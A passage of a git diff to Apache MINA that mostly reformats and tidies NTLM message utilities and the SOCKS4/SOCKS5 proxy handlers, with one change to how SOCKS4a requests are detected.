extractFlagsFromType2Message(byte[] msg) { + public static final int extractFlagsFromType2Message(byte[] msg) { byte[] flagsBytes = new byte[4]; System.arraycopy(msg, 20, flagsBytes, 0, 4); @@ -280,10 +276,9 @@ public final static int extractFlagsFromType2Message(byte[] msg) { * * @param msg the message where to read the security buffer and it's value * @param securityBufferOffset the offset at which to read the security buffer - * @return a new byte array holding the data pointed by the security buffer + * @return a new byte array holding the data pointed by the security buffer */ - public final static byte[] readSecurityBufferTarget( - byte[] msg, int securityBufferOffset) { + public static final byte[] readSecurityBufferTarget(byte[] msg, int securityBufferOffset) { byte[] securityBuffer = new byte[8]; System.arraycopy(msg, securityBufferOffset, securityBuffer, 0, 8); @@ -293,33 +288,33 @@ public final static byte[] readSecurityBufferTarget( byte[] secBufValue = new byte[length]; System.arraycopy(msg, offset, secBufValue, 0, length); - + return secBufValue; } - + /** * Extracts the target name from the type 2 message. * * @param msg the type 2 message byte array - * @param msgFlags the flags if null then flags are extracted from the + * @param msgFlags the flags if null then flags are extracted from the * type 2 message * @return the target name - * @throws UnsupportedEncodingException if unable to use the - * needed UTF-16LE or ASCII charsets + * @throws UnsupportedEncodingException if unable to use the + * needed UTF-16LE or ASCII charsets */ - public final static String extractTargetNameFromType2Message(byte[] msg, - Integer msgFlags) throws UnsupportedEncodingException { + public static final String extractTargetNameFromType2Message(byte[] msg, Integer msgFlags) + throws UnsupportedEncodingException { // Read the security buffer to determine where the target name // is stored and what it's length is byte[] targetName = readSecurityBufferTarget(msg, 12); // now we convert it to a string - int flags = msgFlags == null ? extractFlagsFromType2Message(msg) - : msgFlags; + int flags = msgFlags == null ? extractFlagsFromType2Message(msg) : msgFlags; + if (ByteUtilities.isFlagSet(flags, FLAG_NEGOTIATE_UNICODE)) { return new String(targetName, "UTF-16LE"); } - + return new String(targetName, "ASCII"); } @@ -327,19 +322,18 @@ public final static String extractTargetNameFromType2Message(byte[] msg, * Extracts the target information block from the type 2 message. * * @param msg the type 2 message byte array - * @param msgFlags the flags if null then flags are extracted from the + * @param msgFlags the flags if null then flags are extracted from the * type 2 message * @return the target info */ - public final static byte[] extractTargetInfoFromType2Message(byte[] msg, - Integer msgFlags) { - int flags = msgFlags == null ? extractFlagsFromType2Message(msg) - : msgFlags; + public static final byte[] extractTargetInfoFromType2Message(byte[] msg, Integer msgFlags) { + int flags = msgFlags == null ? extractFlagsFromType2Message(msg) : msgFlags; - if (!ByteUtilities.isFlagSet(flags, FLAG_NEGOTIATE_TARGET_INFO)) + if (!ByteUtilities.isFlagSet(flags, FLAG_NEGOTIATE_TARGET_INFO)) { return null; + } - int pos = 40; //isFlagSet(flags, FLAG_NEGOTIATE_LOCAL_CALL) ? 40 : 32; + int pos = 40; return readSecurityBufferTarget(msg, pos); } @@ -349,42 +343,44 @@ public final static byte[] extractTargetInfoFromType2Message(byte[] msg, * from the type 2 message. * * @param msg the type 2 message - * @param msgFlags the flags if null then flags are extracted from the + * @param msgFlags the flags if null then flags are extracted from the * type 2 message * @param out the output target for the information - * @throws UnsupportedEncodingException if unable to use the - * needed UTF-16LE or ASCII charsets + * @throws UnsupportedEncodingException if unable to use the + * needed UTF-16LE or ASCII charsets */ - public final static void printTargetInformationBlockFromType2Message( - byte[] msg, Integer msgFlags, PrintWriter out) + public static final void printTargetInformationBlockFromType2Message(byte[] msg, Integer msgFlags, PrintWriter out) throws UnsupportedEncodingException { - int flags = msgFlags == null ? extractFlagsFromType2Message(msg) - : msgFlags; + int flags = msgFlags == null ? extractFlagsFromType2Message(msg) : msgFlags; byte[] infoBlock = extractTargetInfoFromType2Message(msg, flags); + if (infoBlock == null) { out.println("No target information block found !"); } else { int pos = 0; + while (infoBlock[pos] != 0) { out.print("---\nType " + infoBlock[pos] + ": "); + switch (infoBlock[pos]) { - case 1: - out.println("Server name"); - break; - case 2: - out.println("Domain name"); - break; - case 3: - out.println("Fully qualified DNS hostname"); - break; - case 4: - out.println("DNS domain name"); - break; - case 5: - out.println("Parent DNS domain name"); - break; + case 1: + out.println("Server name"); + break; + case 2: + out.println("Domain name"); + break; + case 3: + out.println("Fully qualified DNS hostname"); + break; + case 4: + out.println("DNS domain name"); + break; + case 5: + out.println("Parent DNS domain name"); + break; } + byte[] len = new byte[2]; System.arraycopy(infoBlock, pos + 2, len, 0, 2); ByteUtilities.changeByteEndianess(len, 0, 2); @@ -392,12 +388,13 @@ public final static void printTargetInformationBlockFromType2Message( int length = ByteUtilities.makeIntFromByte2(len, 0); out.println("Length: " + length + " bytes"); out.print("Data: "); + if (ByteUtilities.isFlagSet(flags, FLAG_NEGOTIATE_UNICODE)) { - out.println(new String(infoBlock, pos + 4, length, - "UTF-16LE")); + out.println(new String(infoBlock, pos + 4, length, "UTF-16LE")); } else { out.println(new String(infoBlock, pos + 4, length, "ASCII")); } + pos += 4 + length; out.flush(); } @@ -405,7 +402,7 @@ public final static void printTargetInformationBlockFromType2Message( } /** - * @see http://davenport.sourceforge.net/ntlm.html#theType3Message + * @see NTLM message type * * @param user the user name * @param password the user password @@ -416,25 +413,18 @@ public final static void printTargetInformationBlockFromType2Message( * @param osVersion the os version of the client * @return the type 3 message */ - public final static byte[] createType3Message(String user, String password, - byte[] challenge, String target, String workstation, - Integer serverFlags, byte[] osVersion) { - byte[] msg = null; + public static final byte[] createType3Message(String user, String password, byte[] challenge, String target, + String workstation, Integer serverFlags, byte[] osVersion) { + byte[] msg; if (challenge == null || challenge.length != 8) { - throw new IllegalArgumentException( - "challenge[] should be a 8 byte wide array"); + throw new IllegalArgumentException("challenge[] should be a 8 byte wide array"); } if (osVersion != null && osVersion.length != 8) { - throw new IllegalArgumentException( - "osVersion should be a 8 byte wide array"); + throw new IllegalArgumentException("osVersion should be a 8 byte wide array"); } - //TOSEE breaks tests - /*int flags = serverFlags != null ? serverFlags | - FLAG_NEGOTIATE_WORKSTATION_SUPPLIED | - FLAG_NEGOTIATE_DOMAIN_SUPPLIED : DEFAULT_FLAGS;*/ int flags = serverFlags != null ? serverFlags : DEFAULT_FLAGS; ByteArrayOutputStream baos = new ByteArrayOutputStream(); @@ -443,46 +433,36 @@ public final static byte[] createType3Message(String user, String password, baos.write(NTLM_SIGNATURE); baos.write(ByteUtilities.writeInt(MESSAGE_TYPE_3)); - byte[] dataLMResponse = NTLMResponses.getLMResponse(password, - challenge); - byte[] dataNTLMResponse = NTLMResponses.getNTLMResponse(password, - challenge); + byte[] dataLMResponse = NTLMResponses.getLMResponse(password, challenge); + byte[] dataNTLMResponse = NTLMResponses.getNTLMResponse(password, challenge); - boolean useUnicode = ByteUtilities.isFlagSet(flags, - FLAG_NEGOTIATE_UNICODE); + boolean useUnicode = ByteUtilities.isFlagSet(flags, FLAG_NEGOTIATE_UNICODE); byte[] targetName = ByteUtilities.encodeString(target, useUnicode); byte[] userName = ByteUtilities.encodeString(user, useUnicode); - byte[] workstationName = ByteUtilities.encodeString(workstation, - useUnicode); + byte[] workstationName = ByteUtilities.encodeString(workstation, useUnicode); int pos = osVersion != null ? 72 : 64; - int responsePos = pos + targetName.length + userName.length - + workstationName.length; - responsePos = writeSecurityBufferAndUpdatePointer(baos, - (short) dataLMResponse.length, responsePos); - writeSecurityBufferAndUpdatePointer(baos, - (short) dataNTLMResponse.length, responsePos); - pos = writeSecurityBufferAndUpdatePointer(baos, - (short) targetName.length, pos); - pos = writeSecurityBufferAndUpdatePointer(baos, - (short) userName.length, pos); - writeSecurityBufferAndUpdatePointer(baos, - (short) workstationName.length, pos); + int responsePos = pos + targetName.length + userName.length + workstationName.length; + responsePos = writeSecurityBufferAndUpdatePointer(baos, (short) dataLMResponse.length, responsePos); + writeSecurityBufferAndUpdatePointer(baos, (short) dataNTLMResponse.length, responsePos); + pos = writeSecurityBufferAndUpdatePointer(baos, (short) targetName.length, pos); + pos = writeSecurityBufferAndUpdatePointer(baos, (short) userName.length, pos); + writeSecurityBufferAndUpdatePointer(baos, (short) workstationName.length, pos); /** - LM/LMv2 Response security buffer - 20 NTLM/NTLMv2 Response security buffer - 28 Target Name security buffer - 36 User Name security buffer - 44 Workstation Name security buffer - (52) Session Key (optional) security buffer - (60) Flags (optional) long + LM/LMv2 Response security buffer + 20 NTLM/NTLMv2 Response security buffer + 28 Target Name security buffer + 36 User Name security buffer + 44 Workstation Name security buffer + (52) Session Key (optional) security buffer + (60) Flags (optional) long (64) OS Version Structure (Optional) 8 bytes - **/ + **/ // Session Key Security Buffer ??! baos.write(new byte[] { 0, 0, 0, 0, (byte) 0x9a, 0, 0, 0 }); - + baos.write(ByteUtilities.writeInt(flags)); if (osVersion != null) { diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/AbstractSocksLogicHandler.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/AbstractSocksLogicHandler.java index d43964e5a2..9e4502b226 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/AbstractSocksLogicHandler.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/AbstractSocksLogicHandler.java @@ -29,8 +29,7 @@ * @author Apache MINA Project * @since MINA 2.0.0-M3 */ -public abstract class AbstractSocksLogicHandler extends - AbstractProxyLogicHandler { +public abstract class AbstractSocksLogicHandler extends AbstractProxyLogicHandler { /** * The request sent to the proxy. diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/Socks4LogicHandler.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/Socks4LogicHandler.java index 4f7c4cace0..846e6b313d 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/Socks4LogicHandler.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/Socks4LogicHandler.java @@ -19,6 +19,9 @@ */ package org.apache.mina.proxy.handlers.socks; +import java.nio.charset.StandardCharsets; +import java.util.Arrays; + import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.filterchain.IoFilter.NextFilter; import org.apache.mina.proxy.session.ProxyIoSession; @@ -34,11 +37,12 @@ */ public class Socks4LogicHandler extends AbstractSocksLogicHandler { - private final static Logger logger = LoggerFactory - .getLogger(Socks4LogicHandler.class); + private static final Logger LOGGER = LoggerFactory.getLogger(Socks4LogicHandler.class); /** - * {@inheritDoc} + * @see AbstractSocksLogicHandler#AbstractSocksLogicHandler(ProxyIoSession) + * + * @param proxyIoSession The original session */ public Socks4LogicHandler(final ProxyIoSession proxyIoSession) { super(proxyIoSession); @@ -49,8 +53,11 @@ public Socks4LogicHandler(final ProxyIoSession proxyIoSession) { * * @param nextFilter the next filter */ + @Override public void doHandshake(final NextFilter nextFilter) { - logger.debug(" doHandshake()"); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" doHandshake()"); + } // Send request writeRequest(nextFilter, request); @@ -63,14 +70,11 @@ public void doHandshake(final NextFilter nextFilter) { * @param nextFilter the next filter * @param request the request to send. */ - protected void writeRequest(final NextFilter nextFilter, - final SocksProxyRequest request) { + protected void writeRequest(final NextFilter nextFilter, final SocksProxyRequest request) { try { - boolean isV4ARequest = request.getHost() != null; - byte[] userID = request.getUserName().getBytes("ASCII"); - byte[] host = isV4ARequest ? request.getHost().getBytes("ASCII") - : null; - + boolean isV4ARequest = Arrays.equals(request.getIpAddress(), SocksProxyConstants.FAKE_IP); + byte[] userID = request.getUserName() != null ? request.getUserName().getBytes(StandardCharsets.US_ASCII) : null; + byte[] host = request.getHost() != null ? request.getHost().getBytes(StandardCharsets.US_ASCII) : null; int len = 9 + userID.length; if (isV4ARequest) { @@ -91,10 +95,12 @@ protected void writeRequest(final NextFilter nextFilter, buf.put(SocksProxyConstants.TERMINATOR); } - if (isV4ARequest) { - logger.debug(" sending SOCKS4a request"); - } else { - logger.debug(" sending SOCKS4 request"); + if (LOGGER.isDebugEnabled()) { + if (isV4ARequest) { + LOGGER.debug(" sending SOCKS4a request"); + } else { + LOGGER.debug(" sending SOCKS4 request"); + } } buf.flip(); @@ -111,8 +117,8 @@ protected void writeRequest(final NextFilter nextFilter, * @param nextFilter the next filter * @param buf the server response data buffer */ - public void messageReceived(final NextFilter nextFilter, - final IoBuffer buf) { + @Override + public void messageReceived(final NextFilter nextFilter, final IoBuffer buf) { try { if (buf.remaining() >= SocksProxyConstants.SOCKS_4_RESPONSE_SIZE) { handleResponse(buf); @@ -128,7 +134,7 @@ public void messageReceived(final NextFilter nextFilter, * if access is granted. * * @param buf the buffer holding the server response data. - * @throws exception if server response is malformed or if request is rejected + * @throws Exception if server response is malformed or if request is rejected * by the proxy server. */ protected void handleResponse(final IoBuffer buf) throws Exception { @@ -142,12 +148,11 @@ protected void handleResponse(final IoBuffer buf) throws Exception { // Consumes all the response data from the buffer buf.position(buf.position() + SocksProxyConstants.SOCKS_4_RESPONSE_SIZE); - + if (status == SocksProxyConstants.V4_REPLY_REQUEST_GRANTED) { setHandshakeComplete(); } else { - throw new Exception("Proxy handshake failed - Code: 0x" - + ByteUtilities.asHex(new byte[] { status }) + " (" + throw new Exception("Proxy handshake failed - Code: 0x" + ByteUtilities.asHex(new byte[] { status }) + " (" + SocksProxyConstants.getReplyCodeAsString(status) + ")"); } } diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/Socks5LogicHandler.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/Socks5LogicHandler.java index 552a68d546..a23c12d438 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/Socks5LogicHandler.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/Socks5LogicHandler.java @@ -19,10 +19,10 @@ */ package org.apache.mina.proxy.handlers.socks; -import java.io.UnsupportedEncodingException; import java.net.Inet4Address; import java.net.Inet6Address; import java.net.InetSocketAddress; +import java.nio.charset.StandardCharsets; import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.filterchain.IoFilter.NextFilter; @@ -44,43 +44,36 @@ */ public class Socks5LogicHandler extends AbstractSocksLogicHandler { - private final static Logger LOGGER = LoggerFactory - .getLogger(Socks5LogicHandler.class); + private static final Logger LOGGER = LoggerFactory.getLogger(Socks5LogicHandler.class); /** * The selected authentication method attribute key. */ - private final static String SELECTED_AUTH_METHOD = Socks5LogicHandler.class - .getName() - + ".SelectedAuthMethod"; + private static final String SELECTED_AUTH_METHOD = Socks5LogicHandler.class.getName() + ".SelectedAuthMethod"; /** * The current step in the handshake attribute key. */ - private final static String HANDSHAKE_STEP = Socks5LogicHandler.class - .getName() - + ".HandshakeStep"; + private static final String HANDSHAKE_STEP = Socks5LogicHandler.class.getName() + ".HandshakeStep"; /** * The Java GSS-API context attribute key. */ - private final static String GSS_CONTEXT = Socks5LogicHandler.class - .getName() - + ".GSSContext"; + private static final String GSS_CONTEXT = Socks5LogicHandler.class.getName() + ".GSSContext"; /** * Last GSS token received attribute key. */ - private final static String GSS_TOKEN = Socks5LogicHandler.class.getName() - + ".GSSToken"; + private static final String GSS_TOKEN = Socks5LogicHandler.class.getName() + ".GSSToken"; /** - * {@inheritDoc} + * @see AbstractSocksLogicHandler#AbstractSocksLogicHandler(ProxyIoSession) + * + * @param proxyIoSession The original session */ public Socks5LogicHandler(final ProxyIoSession proxyIoSession) { super(proxyIoSession); - getSession().setAttribute(HANDSHAKE_STEP, - SocksProxyConstants.SOCKS5_GREETING_STEP); + getSession().setAttribute(HANDSHAKE_STEP, SocksProxyConstants.SOCKS5_GREETING_STEP); } /** @@ -88,12 +81,14 @@ public Socks5LogicHandler(final ProxyIoSession proxyIoSession) { * * @param nextFilter the next filter */ + @Override public synchronized void doHandshake(final NextFilter nextFilter) { - LOGGER.debug(" doHandshake()"); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" doHandshake()"); + } // Send request - writeRequest(nextFilter, request, ((Integer) getSession().getAttribute( - HANDSHAKE_STEP)).intValue()); + writeRequest(nextFilter, request, ((Integer) getSession().getAttribute(HANDSHAKE_STEP)).intValue()); } /** @@ -118,16 +113,13 @@ private IoBuffer encodeInitialGreetingPacket(final SocksProxyRequest request) { * * @param request the socks proxy request data * @return the encoded buffer - * @throws UnsupportedEncodingException if request's hostname charset - * can't be converted to ASCII. */ - private IoBuffer encodeProxyRequestPacket(final SocksProxyRequest request) - throws UnsupportedEncodingException { + private IoBuffer encodeProxyRequestPacket(final SocksProxyRequest request) { int len = 6; InetSocketAddress adr = request.getEndpointAddress(); byte addressType = 0; byte[] host = null; - + if (adr != null && !adr.isUnresolved()) { if (adr.getAddress() instanceof Inet6Address) { len += 16; @@ -137,18 +129,16 @@ private IoBuffer encodeProxyRequestPacket(final SocksProxyRequest request) addressType = SocksProxyConstants.IPV4_ADDRESS_TYPE; } } else { - host = request.getHost() != null ? - request.getHost().getBytes("ASCII") : null; + host = request.getHost() != null ? request.getHost().getBytes(StandardCharsets.US_ASCII) : null; if (host != null) { len += 1 + host.length; addressType = SocksProxyConstants.DOMAIN_NAME_ADDRESS_TYPE; } else { - throw new IllegalArgumentException("SocksProxyRequest object " + - "has no suitable endpoint information"); + throw new IllegalArgumentException("SocksProxyRequest object " + "has no suitable endpoint information"); } } - + IoBuffer buf = IoBuffer.allocate(len); buf.put(request.getProtocolVersion()); @@ -160,7 +150,7 @@ private IoBuffer encodeProxyRequestPacket(final SocksProxyRequest request) buf.put(request.getIpAddress()); } else { buf.put((byte) host.length); - buf.put(host); + buf.put(host); } buf.put(request.getPort()); @@ -175,38 +165,34 @@ private IoBuffer encodeProxyRequestPacket(final SocksProxyRequest request) * @return the encoded buffer, if null then authentication step is over * and handshake process can jump immediately to the next step without waiting * for a server reply. - * @throws UnsupportedEncodingException if some string charset convertion fails * @throws GSSException when something fails while using GSSAPI */ - private IoBuffer encodeAuthenticationPacket(final SocksProxyRequest request) - throws UnsupportedEncodingException, GSSException { - byte method = ((Byte) getSession().getAttribute( - Socks5LogicHandler.SELECTED_AUTH_METHOD)).byteValue(); + private IoBuffer encodeAuthenticationPacket(final SocksProxyRequest request) throws GSSException { + byte method = ((Byte) getSession().getAttribute(Socks5LogicHandler.SELECTED_AUTH_METHOD)).byteValue(); switch (method) { - case SocksProxyConstants.NO_AUTH: - // In this case authentication is immediately considered as successfull - // Next writeRequest() call will send the proxy request - getSession().setAttribute(HANDSHAKE_STEP, - SocksProxyConstants.SOCKS5_REQUEST_STEP); - break; - - case SocksProxyConstants.GSSAPI_AUTH: - return encodeGSSAPIAuthenticationPacket(request); - - case SocksProxyConstants.BASIC_AUTH: - // The basic auth scheme packet is sent - byte[] user = request.getUserName().getBytes("ASCII"); - byte[] pwd = request.getPassword().getBytes("ASCII"); - IoBuffer buf = IoBuffer.allocate(3 + user.length + pwd.length); - - buf.put(SocksProxyConstants.BASIC_AUTH_SUBNEGOTIATION_VERSION); - buf.put((byte) user.length); - buf.put(user); - buf.put((byte) pwd.length); - buf.put(pwd); - - return buf; + case SocksProxyConstants.NO_AUTH: + // In this case authentication is immediately considered as successfull + // Next writeRequest() call will send the proxy request + getSession().setAttribute(HANDSHAKE_STEP, SocksProxyConstants.SOCKS5_REQUEST_STEP); + break; + + case SocksProxyConstants.GSSAPI_AUTH: + return encodeGSSAPIAuthenticationPacket(request); + + case SocksProxyConstants.BASIC_AUTH: + // The basic auth scheme packet is sent + byte[] user = request.getUserName().getBytes(StandardCharsets.US_ASCII); + byte[] pwd = request.getPassword().getBytes(StandardCharsets.US_ASCII); + IoBuffer buf = IoBuffer.allocate(3 + user.length + pwd.length); + + buf.put(SocksProxyConstants.BASIC_AUTH_SUBNEGOTIATION_VERSION); + buf.put((byte) user.length); + buf.put(user); + buf.put((byte) pwd.length); + buf.put(pwd); + + return buf; } return null; @@ -219,14 +205,12 @@ private IoBuffer encodeAuthenticationPacket(final SocksProxyRequest request) * @return the encoded buffer * @throws GSSException when something fails while using GSSAPI */ - private IoBuffer encodeGSSAPIAuthenticationPacket( - final SocksProxyRequest request) throws GSSException { + private IoBuffer encodeGSSAPIAuthenticationPacket(final SocksProxyRequest request) throws GSSException { GSSContext ctx = (GSSContext) getSession().getAttribute(GSS_CONTEXT); if (ctx == null) { // first step in the authentication process GSSManager manager = GSSManager.getInstance(); - GSSName serverName = manager.createName(request - .getServiceKerberosName(), null); + GSSName serverName = manager.createName(request.getServiceKerberosName(), null); Oid krb5OID = new Oid(SocksProxyConstants.KERBEROS_V5_OID); if (LOGGER.isDebugEnabled()) { @@ -235,13 +219,11 @@ private IoBuffer encodeGSSAPIAuthenticationPacket( if (o.equals(krb5OID)) { LOGGER.debug("Found Kerberos V OID available"); } - LOGGER.debug("{} with oid = {}", - manager.getNamesForMech(o), o); + LOGGER.debug("{} with oid = {}", manager.getNamesForMech(o), o); } } - ctx = manager.createContext(serverName, krb5OID, null, - GSSContext.DEFAULT_LIFETIME); + ctx = manager.createContext(serverName, krb5OID, null, GSSContext.DEFAULT_LIFETIME); ctx.requestMutualAuth(true); // Mutual authentication ctx.requestConf(false); @@ -252,8 +234,9 @@ private IoBuffer encodeGSSAPIAuthenticationPacket( byte[] token = (byte[]) getSession().getAttribute(GSS_TOKEN); if (token != null) { - LOGGER.debug(" Received Token[{}] = {}", token.length, - ByteUtilities.asHex(token)); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" Received Token[{}] = {}", token.length, ByteUtilities.asHex(token)); + } } IoBuffer buf = null; @@ -268,13 +251,13 @@ private IoBuffer encodeGSSAPIAuthenticationPacket( // Send a token to the server if one was generated by // initSecContext if (token != null) { - LOGGER.debug(" Sending Token[{}] = {}", token.length, - ByteUtilities.asHex(token)); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" Sending Token[{}] = {}", token.length, ByteUtilities.asHex(token)); + } getSession().setAttribute(GSS_TOKEN, token); buf = IoBuffer.allocate(4 + token.length); - buf.put(new byte[] { - SocksProxyConstants.GSSAPI_AUTH_SUBNEGOTIATION_VERSION, + buf.put(new byte[] { SocksProxyConstants.GSSAPI_AUTH_SUBNEGOTIATION_VERSION, SocksProxyConstants.GSSAPI_MSG_TYPE }); buf.put(ByteUtilities.intToNetworkByteOrder(token.length, 2)); @@ -293,8 +276,7 @@ private IoBuffer encodeGSSAPIAuthenticationPacket( * @param request the request to send. * @param step the current step in the handshake process */ - private void writeRequest(final NextFilter nextFilter, - final SocksProxyRequest request, int step) { + private void writeRequest(final NextFilter nextFilter, final SocksProxyRequest request, int step) { try { IoBuffer buf = null; @@ -303,6 +285,7 @@ private void writeRequest(final NextFilter nextFilter, } else if (step == SocksProxyConstants.SOCKS5_AUTH_STEP) { // This step can happen multiple times like in GSSAPI auth for instance buf = encodeAuthenticationPacket(request); + // If buf is null then go to the next step if (buf == null) { step = SocksProxyConstants.SOCKS5_REQUEST_STEP; @@ -328,24 +311,19 @@ private void writeRequest(final NextFilter nextFilter, * @param nextFilter the next filter * @param buf the buffered data received */ - public synchronized void messageReceived(final NextFilter nextFilter, - final IoBuffer buf) { + @Override + public synchronized void messageReceived(final NextFilter nextFilter, final IoBuffer buf) { try { - int step = ((Integer) getSession().getAttribute(HANDSHAKE_STEP)) - .intValue(); + int step = ((Integer) getSession().getAttribute(HANDSHAKE_STEP)).intValue(); - if (step == SocksProxyConstants.SOCKS5_GREETING_STEP - && buf.get(0) != SocksProxyConstants.SOCKS_VERSION_5) { - throw new IllegalStateException( - "Wrong socks version running on server"); + if (step == SocksProxyConstants.SOCKS5_GREETING_STEP && buf.get(0) != SocksProxyConstants.SOCKS_VERSION_5) { + throw new IllegalStateException("Wrong socks version running on server"); } - if ((step == SocksProxyConstants.SOCKS5_GREETING_STEP || - step == SocksProxyConstants.SOCKS5_AUTH_STEP) + if ((step == SocksProxyConstants.SOCKS5_GREETING_STEP || step == SocksProxyConstants.SOCKS5_AUTH_STEP) && buf.remaining() >= 2) { handleResponse(nextFilter, buf, step); - } else if (step == SocksProxyConstants.SOCKS5_REQUEST_STEP - && buf.remaining() >= 5) { + } else if (step == SocksProxyConstants.SOCKS5_REQUEST_STEP && buf.remaining() >= 5) { handleResponse(nextFilter, buf, step); } } catch (Exception ex) { @@ -358,27 +336,25 @@ public synchronized void messageReceived(final NextFilter nextFilter, * * @param nextFilter the next filter * @param buf the buffered data received - * @param step the current step in the authentication process + * @param step the current step in the authentication process + * @throws Exception If something went wrong */ - protected void handleResponse(final NextFilter nextFilter, - final IoBuffer buf, int step) throws Exception { + protected void handleResponse(final NextFilter nextFilter, final IoBuffer buf, int step) throws Exception { int len = 2; if (step == SocksProxyConstants.SOCKS5_GREETING_STEP) { // Send greeting message byte method = buf.get(1); if (method == SocksProxyConstants.NO_ACCEPTABLE_AUTH_METHOD) { - throw new IllegalStateException( - "No acceptable authentication method to use with " + - "the socks proxy server"); + throw new IllegalStateException("No acceptable authentication method to use with " + + "the socks proxy server"); } - getSession().setAttribute(SELECTED_AUTH_METHOD, new Byte(method)); + getSession().setAttribute(SELECTED_AUTH_METHOD, Byte.valueOf(method)); } else if (step == SocksProxyConstants.SOCKS5_AUTH_STEP) { // Authentication to the SOCKS server - byte method = ((Byte) getSession().getAttribute( - Socks5LogicHandler.SELECTED_AUTH_METHOD)).byteValue(); + byte method = ((Byte) getSession().getAttribute(Socks5LogicHandler.SELECTED_AUTH_METHOD)).byteValue(); if (method == SocksProxyConstants.GSSAPI_AUTH) { int oldPos = buf.position(); @@ -386,9 +362,8 @@ protected void handleResponse(final NextFilter nextFilter, if (buf.get(0) != 0x01) { throw new IllegalStateException("Authentication failed"); } - if (buf.get(1) == 0xFF) { - throw new IllegalStateException( - "Authentication failed: GSS API Security Context Failure"); + if ((buf.get(1) & 0x00FF) == 0x00FF) { + throw new IllegalStateException("Authentication failed: GSS API Security Context Failure"); } if (buf.remaining() >= 2) { @@ -401,7 +376,6 @@ protected void handleResponse(final NextFilter nextFilter, getSession().setAttribute(GSS_TOKEN, token); len = 0; } else { - //buf.position(oldPos); return; } } else { @@ -429,8 +403,9 @@ protected void handleResponse(final NextFilter nextFilter, if (buf.remaining() >= len) { // handle response byte status = buf.get(1); - LOGGER.debug(" response status: {}", SocksProxyConstants - .getReplyCodeAsString(status)); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" response status: {}", SocksProxyConstants.getReplyCodeAsString(status)); + } if (status == SocksProxyConstants.V5_REPLY_SUCCEEDED) { buf.position(buf.position() + len); @@ -438,8 +413,7 @@ protected void handleResponse(final NextFilter nextFilter, return; } - throw new Exception("Proxy handshake failed - Code: 0x" - + ByteUtilities.asHex(new byte[] { status })); + throw new Exception("Proxy handshake failed - Code: 0x" + ByteUtilities.asHex(new byte[] { status })); } return; @@ -453,11 +427,9 @@ protected void handleResponse(final NextFilter nextFilter, // the authentication process boolean isAuthenticating = false; if (step == SocksProxyConstants.SOCKS5_AUTH_STEP) { - byte method = ((Byte) getSession().getAttribute( - Socks5LogicHandler.SELECTED_AUTH_METHOD)).byteValue(); + byte method = ((Byte) getSession().getAttribute(Socks5LogicHandler.SELECTED_AUTH_METHOD)).byteValue(); if (method == SocksProxyConstants.GSSAPI_AUTH) { - GSSContext ctx = (GSSContext) getSession().getAttribute( - GSS_CONTEXT); + GSSContext ctx = (GSSContext) getSession().getAttribute(GSS_CONTEXT); if (ctx == null || !ctx.isEstablished()) { isAuthenticating = true; } @@ -476,7 +448,7 @@ protected void handleResponse(final NextFilter nextFilter, * then it is closed. * * @param message the error message - */ + */ @Override protected void closeSession(String message) { GSSContext ctx = (GSSContext) getSession().getAttribute(GSS_CONTEXT); diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/SocksProxyConstants.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/SocksProxyConstants.java index 45b8609280..910756c09f 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/SocksProxyConstants.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/SocksProxyConstants.java @@ -29,121 +29,155 @@ public class SocksProxyConstants { /** * SOCKS versions field values. */ - public final static byte SOCKS_VERSION_4 = 0x04; + /** Socks V4 */ + public static final byte SOCKS_VERSION_4 = 0x04; - public final static byte SOCKS_VERSION_5 = 0x05; + /** Socks V5 */ + public static final byte SOCKS_VERSION_5 = 0x05; - public final static byte TERMINATOR = 0x00; + /** Terminator */ + public static final byte TERMINATOR = 0x00; /** * The size of a server to client response in a SOCKS4/4a negotiation. */ - public final static int SOCKS_4_RESPONSE_SIZE = 8; - + public static final int SOCKS_4_RESPONSE_SIZE = 8; + /** * Invalid IP used in SOCKS 4a protocol to specify that the * client can't resolve the destination host's domain name. */ - public final static byte[] FAKE_IP = new byte[] { 0, 0, 0, 10 }; + public static final byte[] FAKE_IP = new byte[] { 0, 0, 0, 10 }; /** * Command codes. */ - public final static byte ESTABLISH_TCPIP_STREAM = 0x01; + /** TCPIP stream */ + public static final byte ESTABLISH_TCPIP_STREAM = 0x01; - public final static byte ESTABLISH_TCPIP_BIND = 0x02; + /** TCPIP bind */ + public static final byte ESTABLISH_TCPIP_BIND = 0x02; - public final static byte ESTABLISH_UDP_ASSOCIATE = 0x03; + /** UDP associate */ + public static final byte ESTABLISH_UDP_ASSOCIATE = 0x03; /** * SOCKS v4/v4a server reply codes. */ - public final static byte V4_REPLY_REQUEST_GRANTED = 0x5a; + /** Request granted */ + public static final byte V4_REPLY_REQUEST_GRANTED = 0x5a; - public final static byte V4_REPLY_REQUEST_REJECTED_OR_FAILED = 0x5b; + /** Request rejected or failed */ + public static final byte V4_REPLY_REQUEST_REJECTED_OR_FAILED = 0x5b; - public final static byte V4_REPLY_REQUEST_FAILED_NO_IDENTD = 0x5c; + /** Request failed not identified */ + public static final byte V4_REPLY_REQUEST_FAILED_NO_IDENTD = 0x5c; - public final static byte V4_REPLY_REQUEST_FAILED_ID_NOT_CONFIRMED = 0x5d; + /** Request failed identity not confirmed */ + public static final byte 